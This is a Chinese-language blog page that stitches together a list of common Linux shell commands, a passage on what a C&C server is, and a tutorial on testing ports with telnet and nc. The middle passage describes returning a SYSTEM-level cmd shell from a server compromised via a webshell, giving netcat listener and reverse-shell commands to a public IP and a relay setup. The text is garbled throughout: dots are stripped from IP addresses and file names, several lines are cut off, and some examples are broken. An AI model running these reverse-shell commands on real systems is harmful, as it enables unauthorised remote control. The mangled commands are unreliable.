
Linux shell常用命令汇总
对于经常使用linux系统的博主来说,基本常用的shell命令是少不了的,下面为大家总结了Linux shell的常用命令,希望对大家有所帮助!
1检查远程端口是否对bash开放:
echo >/dev/tcp/8888/53 && echo "open"
2让进程转入后台:
Ctrl + z
3、将进程转到前台:
fg
4产生随机的十六进制数,其中n是字符数:
openssl rand -hex n
5在当前shell里执行一个文件里的命令:
source /home/user/filename
6截取前5个字符:
${variable:0:5}
7SSH debug 模式:
ssh -vvv user@ip_address
8SSH with pem key:
ssh user@ip_address -i keypem
9用wget抓取完整的网站目录结构,存放到本地目录中:
wget -r --no-parent --reject "indexhtml" >
通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权 *** 作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。
而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反d回本地,这里用 nc 在本地执行:nc -vv -lp 3333
上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114114114114,然后在目标服务器就可以执行:nc 114114114114 3333 -e cmdexe
上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。
扩展资料:
C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。
通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111111111111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。
这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。
在 Linux 中,可以使用 telnet 命令或者 nc 命令测试端口连通性。具体来说:
1 使用 telnet 命令测试端口连通性
假设要测试远程主机的 80 端口是否可用,可以在终端中输入以下命令:
```shell
telnet 远程主机IP 80
```
如果连接成功,终端会显示连接到目标主机的信息,如下所示:
```shell
Trying 19216801
Connected to 19216801
Escape character is '^]'
```
如果无法连接,则会显示连接失败的错误信息。
2 使用 nc 命令测试端口连通性
nc 命令也可以用于测试端口连通性,需要注意的是,nc 命令需要事先安装。假设要测试远程主机的 80 端口是否可用,可以在终端中输入以下命令:
```shell
nc -zv 远程主机IP 80
```
如果连接成功,终端会显示连接到目标主机的信息,如下所示:
```shell
Connection to 19216801 80 port [tcp/>
以上就是关于Linux shell常用命令全部的内容,包括:Linux shell常用命令、什么是C&C服务器、linux 测试端口连通性等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)